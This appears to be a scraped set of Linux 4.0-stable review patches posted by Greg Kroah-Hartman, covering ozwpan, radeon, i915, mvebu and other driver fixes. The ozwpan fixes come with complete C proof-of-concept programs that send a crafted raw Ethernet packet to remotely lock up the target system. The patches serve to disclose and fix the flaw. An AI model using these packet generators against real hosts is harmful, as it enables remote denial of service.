int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
struct oz_elt oz_elt2;
struct oz_multiple_fixed oz_multiple_fixed;
} __packed packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 0,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
},
.oz_elt2 = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_multiple_fixed)
},
.oz_multiple_fixed = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_USB_ENDPOINT_DATA,
.endpoint = 0,
.format = OZ_DATA_F_MULTIPLE_FIXED,
.unit_size = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}--- drivers/staging/ozwpan/ozusbsvc1.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-)
drivers/staging/ozwpan/ozusbsvc1.c +4 -1
@@ -326,7 +326,10 @@ static void oz_usb_handle_ep_data(structstruct oz_multiple_fixed *body = (struct oz_multiple_fixed *)data_hdr;u8 *data = body->data; -int n = (len -sizeof (struct oz_multiple_fixed )+1 ) +int n; +if (!body->unit_size) +break ; + n = (len -sizeof (struct oz_multiple_fixed )+1 ) / body->unit_size;while (n--) { oz_hcd_data_ind(usb_ctx->hport, body->endpoint,
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 71/105 ozwpan: unchecked signed subtraction leads to DoS
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: "Jason A. Donenfeld" <[email protected]>
commit 9a59029bc218b48eff8b5d4dde5662fd79d3e1a8 upstream.
The subtraction here was using a signed integer and did not have any bounds checking at all. This commit adds proper bounds checking, made easy by use of an unsigned integer. This way, a single packet won't be able to remotely trigger a massive loop, locking up the system for a considerable amount of time. A PoC follows below, which requires ozprotocol.h from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
struct oz_elt oz_elt2;
struct oz_multiple_fixed oz_multiple_fixed;
} __packed packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 0,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
},
.oz_elt2 = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_multiple_fixed) - 3
},
.oz_multiple_fixed = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_USB_ENDPOINT_DATA,
.endpoint = 0,
.format = OZ_DATA_F_MULTIPLE_FIXED,
.unit_size = 1,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}--- drivers/staging/ozwpan/ozusbsvc1.c | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-)
drivers/staging/ozwpan/ozusbsvc1.c +4 -3
@@ -326,10 +326,11 @@ static void oz_usb_handle_ep_data(structstruct oz_multiple_fixed *body = (struct oz_multiple_fixed *)data_hdr;u8 *data = body->data; -int n; -if (!body->unit_size) +unsigned int n; +if (!body->unit_size || + len <sizeof (struct oz_multiple_fixed ) -1 )break ; - n = (len -sizeof (struct oz_multiple_fixed )+1 ) + n = (len - (sizeof (struct oz_multiple_fixed ) -1 )) / body->unit_size;while (n--) { oz_hcd_data_ind(usb_ctx->hport, body->endpoint,
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 72/105 pata_octeon_cf: fix broken build
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Aaro Koskinen <[email protected]>
commit 4710f2facb5c68d629015747bd09b37203e0d137 upstream.
MODULE_DEVICE_TABLE is referring to wrong driver's table and breaks the build. Fix that.
--- drivers/ata/pata_octeon_cf.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
drivers/ata/pata_octeon_cf.c +1 -1
@@ -1053,7 +1053,7 @@ static struct of_device_id octeon_cf_mat }, {}, }; -MODULE_DEVICE_TABLE (of, octeon_i2c_match); +MODULE_DEVICE_TABLE (of, octeon_cf_match);static struct platform_driver octeon_cf_driver = { .probe = octeon_cf_probe,
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 73/105 ARM: dts: am335x-boneblack: disable RTC-only sleep to avoid hardware damage
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Matthijs van Duin <[email protected]>
commit 7a6cb0abe1aa63334f3ded6d2b6c8eca80e72302 upstream.
Avoid entering "RTC-only mode" at poweroff. It is unsupported by most versions of BeagleBone, and risks hardware damage.
The damaging configuration is having system-power-controller without ti,pmic-shutdown-controller.
--- arch/arm/boot/dts/am335x-bone-common.dtsi | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+)
arch/arm/boot/dts/am335x-bone-common.dtsi +19 -0
@@ -223,6 +223,25 @@ /include/ "tps65217.dtsi" &tps { + /* + * Configure pmic to enter OFF-state instead of SLEEP-state ("RTC-only + * mode") at poweroff. Most BeagleBone versions do not support RTC-only + * mode and risk hardware damage if this mode is entered. + * + * For details, see linux-omap mailing list May 2015 thread + * [PATCH] ARM: dts: am335x-bone* enable pmic-shutdown-controller + * In particular, messages: + * http://www.spinics.net/lists/linux-omap/msg118585.html + * http://www.spinics.net/lists/linux-omap/msg118615.html + * + * You can override this later with + * &tps { /delete-property/ ti,pmic-shutdown-controller; } + * if you want to use RTC-only mode and made sure you are not affected + * by the hardware problems. (Tip: double-check by performing a current + * measurement after shutdown: it should be less than 1 mA.) + */ + ti,pmic-shutdown-controller; + regulators { dcdc1_reg: regulator@0 { regulator-name = "vdds_dpr";
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 74/105 drm/amdkfd: fix topology bug with capability attr.
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Alexey Skidanov <[email protected]>
commit 826f5de84ceb6f96306ce4081b75a0539d8edd00 upstream.
This patch fixes a bug where the number of watch points was shown before it was actually calculated
--- drivers/gpu/drm/amd/amdkfd/kfd_topology.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-)
drivers/gpu/drm/amd/amdkfd/kfd_topology.c +2 -2
@@ -684,8 +684,6 @@ static ssize_t node_show(struct kobject dev->node_props.cpu_core_id_base);sysfs_show_32bit_prop (buffer,"simd_id_base" , dev->node_props.simd_id_base); -sysfs_show_32bit_prop (buffer,"capability" , - dev->node_props.capability);sysfs_show_32bit_prop (buffer,"max_waves_per_simd" , dev->node_props.max_waves_per_simd); sysfs_show_32bit_prop(buffer, "lds_size_in_kb",
@@ -735,6 +733,8 @@ static ssize_t node_show(struct kobject kfd2kgd->get_fw_version ( dev->gpu->kgd, KGD_ENGINE_MEC1)); +sysfs_show_32bit_prop (buffer,"capability" , + dev->node_props.capability); } return sysfs_show_32bit_prop(buffer, "max_engine_clk_ccompute",
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in Please read the FAQ at http://www.tux.org/lkml/
Greg Kroah-Hartman
maintainerPATCH 75/105 drm/radeon: use proper ACR regisiter for DCE3.2
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Alex Deucher <[email protected]>
commit 091f0a70ffe2a1297d52fe32d6c6794d955e01e5 upstream.
Using the DCE2 one by accident afer the audio rework.
Bug:
https://bugs.freedesktop.org/show_bug.cgi?id=90777
--- drivers/gpu/drm/radeon/dce3_1_afmt.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
drivers/gpu/drm/radeon/dce3_1_afmt.c +1 -1
@@ -173,7 +173,7 @@ void dce3_2_hdmi_update_acr(struct drm_estruct drm_device *dev = encoder->dev;struct radeon_device *rdev = dev->dev_private; -WREG32 (HDMI0_ACR_PACKET_CONTROL + offset, +WREG32 (DCE3_HDMI0_ACR_PACKET_CONTROL + offset,HDMI0_ACR_SOURCE |/* select SW CTS value */ HDMI0_ACR_AUTO_SEND );/* allow hw to sent ACR packets when required */
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in Please read the FAQ at http://www.tux.org/lkml/
Greg Kroah-Hartman
maintainerPATCH 76/105 drm/i915/hsw: Fix workaround for server AUX channel clock divisor
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Jim Bride <[email protected]>
commit e058c945e03a629c99606452a6931f632dd28903 upstream.
According to the HSW b-spec we need to try clock divisors of 63 and 72, each 3 or more times, when attempting DP AUX channel communication on a server chipset. This actually wasn't happening due to a short-circuit that only checked the DP_AUX_CH_CTL_DONE bit in status rather than checking that the operation was done and that DP_AUX_CH_CTL_TIME_OUT_ERROR was not set.
[v2] Implemented alternate solution suggested by Jani Nikula.
--- drivers/gpu/drm/i915/intel_dp.c | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-)
drivers/gpu/drm/i915/intel_dp.c +2 -3
@@ -881,10 +881,8 @@ intel_dp_aux_ch(struct intel_dp *intel_d DP_AUX_CH_CTL_RECEIVE_ERROR))continue ;if (status &DP_AUX_CH_CTL_DONE ) -break ; + goto done; } -if (status &DP_AUX_CH_CTL_DONE ) -break ; }if ((status &DP_AUX_CH_CTL_DONE ) ==0 ) {
@@ -893,6 +891,7 @@ intel_dp_aux_ch(struct intel_dp *intel_d goto out; } +done:/* Check for timeout or receive error. * Timeouts occur when the sink is not connected */
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in Please read the FAQ at http://www.tux.org/lkml/
Greg Kroah-Hartman
maintainerPATCH 80/105 Revert "drm/radeon: dont share plls if monitors differ in audio support"
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Alex Deucher <[email protected]>
commit 6fb3c025fee16f11ebd73f84f5aba1ee9ce7f8c6 upstream.
This reverts commit a10f0df0615abb194968fc08147f3cdd70fd5aa5.
Fixes some systems at the expense of others. Need to properly fix the pll divider selection.
bug:
https://bugzilla.kernel.org/show_bug.cgi?id=99651
--- drivers/gpu/drm/radeon/atombios_crtc.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-)
drivers/gpu/drm/radeon/atombios_crtc.c +1 -3
@@ -1789,9 +1789,7 @@ static int radeon_get_shared_nondp_ppll(if ((crtc->mode.clock == test_crtc->mode.clock) && (adjusted_clock == test_adjusted_clock) && (radeon_crtc->ss_enabled == test_radeon_crtc->ss_enabled) && - (test_radeon_crtc->pll_id !=ATOM_PPLL_INVALID ) && - (drm_detect_monitor_audio (radeon_connector_edid (test_radeon_crtc->connector)) == -drm_detect_monitor_audio (radeon_connector_edid (radeon_crtc->connector)))) + (test_radeon_crtc->pll_id !=ATOM_PPLL_INVALID ))return test_radeon_crtc->pll_id; } }
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 81/105 Revert "drm/radeon: adjust pll when audio is not enabled"
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Alex Deucher <[email protected]>
commit ebb9bf18636926d5da97136c22e882c5d91fda73 upstream.
This reverts commit 7fe04d6fa824ccea704535a597dc417c8687f990.
Fixes some systems at the expense of others. Need to properly fix the pll divider selection.
bug:
https://bugzilla.kernel.org/show_bug.cgi?id=99651
--- drivers/gpu/drm/radeon/atombios_crtc.c | 3 --- 1 file changed, 3 deletions(-)
drivers/gpu/drm/radeon/atombios_crtc.c +0 -3
@@ -580,9 +580,6 @@ static u32 atombios_adjust_pll(struct drelse radeon_crtc->pll_flags |=RADEON_PLL_PREFER_LOW_REF_DIV ; -/* if there is no audio, set MINM_OVER_MAXP */ -if (!drm_detect_monitor_audio (radeon_connector_edid (connector))) - radeon_crtc->pll_flags |=RADEON_PLL_PREFER_MINM_OVER_MAXP ;if (rdev->family <CHIP_RV770 ) radeon_crtc->pll_flags |=RADEON_PLL_PREFER_MINM_OVER_MAXP ;/* use frac fb div on APUs */
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 83/105 serial: imx: Fix DMA handling for IDLE condition aborts
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Philipp Zabel <[email protected]>
commit 392bceedb107a3dc1d4287e63d7670d08f702feb upstream.
The driver configures the IDLE condition to interrupt the SDMA engine. Since the SDMA UART ROM script doesn't clear the IDLE bit itself, this caused repeated 1-byte DMA transfers, regardless of available data in the RX FIFO. Also, when returning due to the IDLE condition, the UART ROM script already increased its counter, causing residue to be off by one.
This patch clears the IDLE condition to avoid repeated 1-byte DMA transfers and decreases count by when the DMA transfer was aborted due to the IDLE condition, fixing serial transfers using DMA on i.MX6Q.
--- drivers/tty/serial/imx.c | 8 ++++++++ 1 file changed, 8 insertions(+)
drivers/tty/serial/imx.c +8 -0
@@ -959,6 +959,14 @@ static void dma_rx_callback(void *data) status =dmaengine_tx_status (chan, (dma_cookie_t )0 , &state); count =RX_BUF_SIZE - state.residue; + +if (readl (sport->port.membase +USR2 ) &USR2_IDLE ) { +/* In condition [3] the SDMA counted up too early */ + count--; + +writel (USR2_IDLE , sport->port.membase +USR2 ); + } +dev_dbg (sport->port.dev,"We get %d bytes.\n" , count);if (count) {
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 84/105 of/dynamic: Fix test for PPC_PSERIES
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Geert Uytterhoeven <[email protected]>
commit f76502aa9140ec338a59487218bf70a9c9e92b8f upstream.
"IS_ENABLED(PPC_PSERIES)" always evaluates to false, as IS_ENABLED() is supposed to be used with the full Kconfig symbol name, including the "CONFIG_" prefix.
Add the missing "CONFIG_" prefix to fix this.
--- drivers/of/dynamic.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
drivers/of/dynamic.c +1 -1
@@ -225,7 +225,7 @@ void __of_attach_node(struct device_node phandle =__of_get_property (np,"phandle" , &sz);if (!phandle) phandle =__of_get_property (np,"linux,phandle" , &sz); -if (IS_ENABLED (PPC_PSERIES ) && !phandle) +if (IS_ENABLED (CONFIG_PPC_PSERIES ) && !phandle) phandle =__of_get_property (np,"ibm,phandle" , &sz); np->phandle = (phandle && (sz >=4 )) ?be32_to_cpup (phandle) :0 ;
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 85/105 virtio_pci: Clear stale cpumask when setting irq affinity
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Jiang Liu <[email protected]>
commit 210d150e1f5da506875e376422ba31ead2d49621 upstream.
The cpumask vp_dev->msix_affinity_masks[info->msix_vector] may contain staled information when vp_set_vq_affinity() gets called, so clear it before setting the new cpu bit mask.
--- drivers/virtio/virtio_pci_common.c | 1 + 1 file changed, 1 insertion(+)
drivers/virtio/virtio_pci_common.c +1 -0
@@ -423,6 +423,7 @@ int vp_set_vq_affinity(struct virtqueueif (cpu ==-1 )irq_set_affinity_hint (irq,NULL );else { +cpumask_clear (mask);cpumask_set_cpu (cpu, mask);irq_set_affinity_hint (irq, mask); }
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 86/105 ata: ahci_mvebu: Fix wrongly set base address for the MBus window setting
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Nadav Haklai <[email protected]>
commit e96998fc200867f005dd14c7d1dd35e1107d4914 upstream.
According to the Armada 38x datasheet, the window base address registers value is set in bits [31:4] of the register and corresponds to the transaction address bits [47:20].
Therefore, the 32bit base address value should be shifted right by 20bits and left by 4bits, resulting in 16 bit shift right.
The bug as not been noticed yet because if the memory available on the platform is less than 2GB, then the base address is zero.
[[email protected]: add extra-explanation]
AHCI interfaces)
--- drivers/ata/ahci_mvebu.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
drivers/ata/ahci_mvebu.c +1 -1
@@ -45,7 +45,7 @@ static void ahci_mvebu_mbus_config(strucwritel ((cs->mbus_attr <<8 ) | (dram->mbus_dram_target_id <<4 ) |1 , hpriv->mmio +AHCI_WINDOW_CTRL (i)); -writel (cs->base, hpriv->mmio +AHCI_WINDOW_BASE (i)); +writel (cs->base >>16 , hpriv->mmio +AHCI_WINDOW_BASE (i));writel (((cs->size -1 ) &0xffff0000 ), hpriv->mmio +AHCI_WINDOW_SIZE (i)); }
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 87/105 bus: mvebu-mbus: do not set WIN_CTRL_SYNCBARRIER on non io-coherent platforms.
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Nicolas Schichan <[email protected]>
commit 8c9e06e64768665503e778088a39ecff3a6f2e0c upstream.
Commit a0b5cd4ac2d6 ("bus: mvebu-mbus: use automatic I/O synchronization barriers") enabled the usage of automatic I/O synchronization barriers by enabling bit WIN_CTRL_SYNCBARRIER in the control registers of MBus windows, but on non io-coherent platforms (orion5x, kirkwood and dove) the WIN_CTRL_SYNCBARRIER bit in the window control register is either reserved (all windows except 6 and 7) or enables read-only protection (windows 6 and 7).
--- drivers/bus/mvebu-mbus.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-)
drivers/bus/mvebu-mbus.c +3 -1
@@ -70,6 +70,7 @@*/ #define WIN_CTRL_OFF 0x0000#define WIN_CTRL_ENABLE BIT(0) +/* Only on HW I/O coherency capable platforms */ #define WIN_CTRL_SYNCBARRIER BIT(1)#define WIN_CTRL_TGT_MASK 0xf0#define WIN_CTRL_TGT_SHIFT 4
@@ -323,8 +324,9 @@ static int mvebu_mbus_setup_window(struc ctrl = ((size -1 ) &WIN_CTRL_SIZE_MASK ) | (attr <<WIN_CTRL_ATTR_SHIFT ) | (target <<WIN_CTRL_TGT_SHIFT ) | -WIN_CTRL_SYNCBARRIER |WIN_CTRL_ENABLE ; +if (mbus->hw_io_coherency) + ctrl |=WIN_CTRL_SYNCBARRIER ;writel (base &WIN_BASE_LOW , addr +WIN_BASE_OFF );writel (ctrl, addr +WIN_CTRL_OFF );
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 88/105 Revert "bus: mvebu-mbus: make sure SDRAM CS for DMA dont overlap the MBus bridge window"
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Thomas Petazzoni <[email protected]>
commit 885dbd154b2f2ee305cec6fd0a162e1a77ae2b06 upstream.
This reverts commit 1737cac69369 ("bus: mvebu-mbus: make sure SDRAM CS for DMA don't overlap the MBus bridge window"), because it breaks DMA on platforms having more than 2 GB of RAM.
This commit changed the information reported to DMA masters device drivers through the mv_mbus_dram_info() function so that the returned DRAM ranges do not overlap with I/O windows.
This was necessary as a preparation to support the new CESA Crypto Engine driver, which will use DMA for cryptographic operations. But since it does DMA with the SRAM which is mapped as an I/O window, having DRAM ranges overlapping with I/O windows was problematic.
To solve this, the above mentioned commit changed the mvebu-mbus to adjust the DRAM ranges so that they don't overlap with the I/O windows. However, by doing this, we re-adjust the DRAM ranges in a way that makes them have a size that is no longer a power of two. While this is perfectly fine for the Crypto Engine, which supports DRAM ranges with a granularity of 64 KB, it breaks basically all other DMA masters, which expect power of two sizes for the DRAM ranges.
Due to this, if the installed system memory is 4 GB, in two chip-selects of 2 GB, the second DRAM range will be reduced from 2 GB to a little bit less than 2 GB to not overlap with the I/O windows, in a way that results in a DRAM range that doesn't have a power of two size. This means that whenever you do a DMA transfer with an address located in the [ 2 GB ; 4 GB ] area, it will freeze the system. Any serious DMA activity like simply running:
for i in $(seq 1 64) ; do dd if=/dev/urandom of=file$i bs=1M count=16 ; done
in an ext3 partition mounted over a SATA drive will freeze the system.
Since the new CESA crypto driver that uses DMA has not been merged yet, the easiest fix is to simply revert this commit. A follow-up commit will introduce a different solution for the CESA crypto driver.
--- drivers/bus/mvebu-mbus.c | 107 +++++++---------------------------------------- 1 file changed, 17 insertions(+), 90 deletions(-)
drivers/bus/mvebu-mbus.c +17 -90
@@ -58,7 +58,6 @@#include <linux/debugfs.h> #include <linux/log2.h> #include <linux/syscore_ops.h> -#include <linux/memblock.h> /* * DDR target is the same on all platforms.
@@ -103,9 +102,7 @@/* Relative to mbusbridge_base */ #define MBUS_BRIDGE_CTRL_OFF 0x0 -#define MBUS_BRIDGE_SIZE_MASK 0xffff0000#define MBUS_BRIDGE_BASE_OFF 0x4 -#define MBUS_BRIDGE_BASE_MASK 0xffff0000/* Maximum number of windows, for all known platforms */ #define MBUS_WINS_MAX 20
@@ -579,106 +576,36 @@ static unsigned int armada_xp_mbus_win_rreturn MVEBU_MBUS_NO_REMAP ; } -/* -* Use the memblock information to find the MBus bridge hole in the -* physical address space. -*/ -static void __init -mvebu_mbus_find_bridge_hole (uint64_t *start,uint64_t *end) -{ -struct memblock_region *r; -uint64_t s =0 ; - -for_each_memblock (memory, r) { -/* -* This part of the memory is above 4 GB, so we don't -* care for the MBus bridge hole. -*/ -if (r->base >=0x100000000 ) -continue ; - -/* -* The MBus bridge hole is at the end of the RAM under -* the 4 GB limit. -*/ -if (r->base + r->size > s) - s = r->base + r->size; - } - - *start = s; - *end =0x100000000 ; -} -static void __init mvebu_mbus_default_setup_cpu_target (struct mvebu_mbus_state *mbus) {int i;int cs; -uint64_t mbus_bridge_base, mbus_bridge_end; mvebu_mbus_dram_info.mbus_dram_target_id =TARGET_DDR ; -mvebu_mbus_find_bridge_hole (&mbus_bridge_base, &mbus_bridge_end); -for (i =0 , cs =0 ; i <4 ; i++) { -u64 base =readl (mbus->sdramwins_base +DDR_BASE_CS_OFF (i)); -u64 size =readl (mbus->sdramwins_base +DDR_SIZE_CS_OFF (i)); -u64 end; -struct mbus_dram_window *w; - -/* Ignore entries that are not enabled */ -if (!(size &DDR_SIZE_ENABLED )) -continue ; - -/* -* Ignore entries whose base address is above 2^32, -* since devices cannot DMA to such high addresses -*/ -if (base &DDR_BASE_CS_HIGH_MASK ) -continue ; - - base = base &DDR_BASE_CS_LOW_MASK ; - size = (size | ~DDR_SIZE_MASK ) +1 ; - end = base + size; - -/* -* Adjust base/size of the current CS to make sure it -* doesn't overlap with the MBus bridge hole. This is -* particularly important for devices that do DMA from -* DRAM to a SRAM mapped in a MBus window, such as the -* CESA cryptographic engine. -*/ +u32 base =readl (mbus->sdramwins_base +DDR_BASE_CS_OFF (i)); +u32 size =readl (mbus->sdramwins_base +DDR_SIZE_CS_OFF (i));/* -* The CS is fully enclosed inside the MBus bridge -* area, so ignore it. +* We only take care of entries for which the chip +* select is enabled, and that don't have high base +* address bits set (devices can only access the first +* 32 bits of the memory). */ -if (base >= mbus_bridge_base && end <= mbus_bridge_end) -continue ; - -/* -* Beginning of CS overlaps with end of MBus, raise CS -* base address, and shrink its size. -*/ -if (base >= mbus_bridge_base && end > mbus_bridge_end) { - size -= mbus_bridge_end - base; - base = mbus_bridge_end; +if ((size &DDR_SIZE_ENABLED ) && + !(base &DDR_BASE_CS_HIGH_MASK )) { +struct mbus_dram_window *w; + + w = &mvebu_mbus_dram_info.cs[cs++]; + w->cs_index = i; + w->mbus_attr =0xf & ~(1 << i); +if (mbus->hw_io_coherency) + w->mbus_attr |=ATTR_HW_COHERENCY ; + w->base = base &DDR_BASE_CS_LOW_MASK ; + w->size = (size | ~DDR_SIZE_MASK ) +1 ; } - -/* -* End of CS overlaps with beginning of MBus, shrink -* CS size. -*/ -if (base < mbus_bridge_base && end > mbus_bridge_base) - size -= end - mbus_bridge_base; - - w = &mvebu_mbus_dram_info.cs[cs++]; - w->cs_index = i; - w->mbus_attr =0xf & ~(1 << i); -if (mbus->hw_io_coherency) - w->mbus_attr |=ATTR_HW_COHERENCY ; - w->base = base; - w->size = size; } mvebu_mbus_dram_info.num_cs = cs; }
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 89/105 arm64: dts: mt8173-evb: fix model name
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Yingjoe Chen <[email protected]>
commit 692ef3ee36833b6098a352c079d3cea8fc6ed3ef upstream.
Model name in mt8173-evb.dts doesn't follow dts convention (it should be human readable model name). Fix it.
--- arch/arm64/boot/dts/mediatek/mt8173-evb.dts | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-)
arch/arm64/boot/dts/mediatek/mt8173-evb.dts +2 -1
@@ -16,7 +16,8 @@ #include "mt8173.dtsi" / { - model = "mediatek,mt8173-evb"; + model = "MediaTek MT8173 evaluation board"; + compatible = "mediatek,mt8173-evb", "mediatek,mt8173"; aliases { serial0 = &uart0;
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in Please read the FAQ at http://www.tux.org/lkml/
Greg Kroah-Hartman
maintainerPATCH 90/105 mm/memory_hotplug.c: set zone->wait_table to null after freeing it
